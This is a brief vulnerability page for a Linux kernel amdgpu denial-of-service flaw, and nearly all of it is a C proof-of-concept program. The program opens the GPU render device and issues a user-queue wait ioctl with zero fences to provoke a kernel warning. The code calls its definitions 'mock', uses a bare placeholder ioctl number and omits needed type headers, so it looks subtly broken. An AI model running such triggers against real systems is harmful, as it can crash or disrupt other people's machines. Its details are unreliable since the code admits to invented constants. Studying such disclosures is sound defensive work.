CVE-2026-23338: Linux内核amdgpu拒绝服务漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Mock definitions for PoC demonstration #define DRM_IOCTL_AMDGPU_USERQ_WAIT 0x40 #define AMDGPU_GEM_DOMAIN_GTT 0x2 struct drm_amdgpu_userq_wait { __u32 num_fences; // Vulnerable parameter __u32 pad; __u64 fences; }; int main() { int fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } struct drm_amdgpu_userq_wait args; // Trigger the warning by passing a deliberately small num_fences args.num_fences = 0; args.fences = 0; printf("Attempting to trigger kernel warning via ioctl...\n"); // This call is expected to fail with errno but may trigger WARN_ON in vulnerable kernels int ret = ioctl(fd, DRM_IOCTL_AMDGPU_USERQ_WAIT, &args); if (ret < 0) { perror("Ioctl failed (expected)"); printf("Check dmesg for potential kernel warnings/backtrace.\n"); } else { printf("Ioctl succeeded unexpectedly.\n"); } close(fd); return 0; }